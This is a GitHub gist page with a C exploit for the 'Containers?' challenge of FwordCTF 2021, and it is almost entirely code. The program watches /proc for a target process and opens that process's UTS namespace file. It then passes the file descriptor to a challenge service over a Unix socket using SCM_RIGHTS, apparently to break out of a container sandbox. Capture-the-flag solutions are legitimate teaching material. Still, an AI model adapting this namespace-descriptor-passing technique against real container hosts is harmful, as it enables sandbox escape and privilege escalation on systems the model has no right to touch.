-
-
Save 00xc/800233590dda59ca60772034d898f916 to your computer and use it in GitHub Desktop.
FwordCTF 2021 - Containers? exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
gcc -Wall -Wextra -o exploit exploit.c | |
*/ | |
#include <ctype.h> | |
#include <dirent.h> | |
#include <err.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <linux/limits.h> | |
#include <sys/socket.h> | |
#include <sys/types.h> | |
#include <sys/un.h> | |
#define GREET_CMD "/home/user1/sealer greet" | |
#define RAIJIN_CMD "/home/user1/sealer raijin nodename &" | |
#define SOCK_PATH "/tmp/fd-pass.socket" | |
void send_fd(int fd) { | |
int s; | |
struct sockaddr_un addr; | |
s = socket(AF_UNIX, SOCK_STREAM, 0); | |
if (s == -1) | |
err(EXIT_FAILURE, "socket"); | |
printf("[+] socket()\n"); | |
memset(&addr, 0, sizeof(addr)); | |
addr.sun_family = AF_UNIX; | |
strcpy(addr.sun_path, SOCK_PATH); | |
if (connect(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) | |
err(EXIT_FAILURE, "connect"); | |
printf("[+] connect()\n"); | |
{ | |
struct msghdr msg = {0}; | |
struct cmsghdr *cmsg = NULL; | |
struct iovec iov; | |
int data[4] = {fd, 3, 3, 3}; | |
ssize_t sent; | |
union { | |
char buf[CMSG_SPACE(sizeof(data))]; | |
struct cmsghdr align; | |
} u; | |
/* We must send some data no matter what */ | |
iov = (struct iovec) { | |
.iov_base = ":)", | |
.iov_len = 2, | |
}; | |
msg.msg_name = NULL; | |
msg.msg_namelen = 0; | |
msg.msg_iov = &iov; | |
msg.msg_iovlen = 1; | |
msg.msg_flags = 0; | |
msg.msg_control = u.buf; | |
msg.msg_controllen = sizeof(u.buf); | |
cmsg = CMSG_FIRSTHDR(&msg); | |
cmsg->cmsg_level = SOL_SOCKET; | |
cmsg->cmsg_type = SCM_RIGHTS; | |
cmsg->cmsg_len = CMSG_LEN(sizeof(data)); | |
memcpy(CMSG_DATA(cmsg), data, sizeof(data)); | |
sent = sendmsg(s, &msg, 0); | |
if (sent < 0) | |
err(EXIT_FAILURE, "sendmsg"); | |
printf("[+] sendmsg() => %ld\n", sent); | |
} | |
close(s); | |
} | |
int _isnumber(const char* c) { | |
while (*c != '\0') { | |
if (!isdigit(*c)) | |
return 0; | |
++c; | |
} | |
return 1; | |
} | |
pid_t find_pid(pid_t our_pid) { | |
DIR* dir; | |
struct dirent* dp; | |
char path[PATH_MAX]; | |
char buf[1024]; | |
int fd; | |
pid_t out = -1; | |
dir = opendir("/proc"); | |
if (dir == NULL) | |
err(EXIT_FAILURE, "opendir"); | |
while ((dp = readdir(dir)) != NULL) { | |
if (dp->d_type != DT_DIR || !_isnumber(dp->d_name) || atoi(dp->d_name) == our_pid) | |
continue; | |
sprintf(path, "/proc/%s/cmdline", dp->d_name); | |
fd = open(path, O_RDONLY); | |
if (fd < 0) | |
err(EXIT_FAILURE, "open %s", path); | |
read(fd, buf, sizeof(buf)); | |
close(fd); | |
if (strstr(buf, "sleep")) { | |
out = atoi(dp->d_name); | |
break; | |
} | |
} | |
closedir(dir); | |
return out; | |
} | |
int main() { | |
int fd; | |
FILE* greet_fp; | |
char buf[1024] = {0}; | |
pid_t pid; | |
pid_t our_pid = getpid(); | |
char ns_path[PATH_MAX] = {0}; | |
/* Start 'greet' command */ | |
greet_fp = popen(GREET_CMD, "r"); | |
if (greet_fp == NULL) | |
err(EXIT_FAILURE, "popen"); | |
setvbuf(greet_fp, NULL, _IONBF, 0); | |
fread(buf, 20, 1, greet_fp); | |
printf("buf: %s\n", buf); | |
while ((pid = find_pid(our_pid)) < 0) { | |
;; | |
} | |
printf("[+] Got pid: %d\n", pid); | |
sprintf(ns_path, "/proc/%d/ns/uts", pid); | |
/* Start 'raijin' command */ | |
system(RAIJIN_CMD); | |
printf("[*] Opening %s\n", ns_path); | |
fd = open(ns_path, O_RDONLY); | |
if (fd < 0) | |
err(EXIT_FAILURE, "open %s", ns_path); | |
printf("[*] Sending file descriptor = %d\n", fd); | |
send_fd(fd); | |
pclose(greet_fp); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment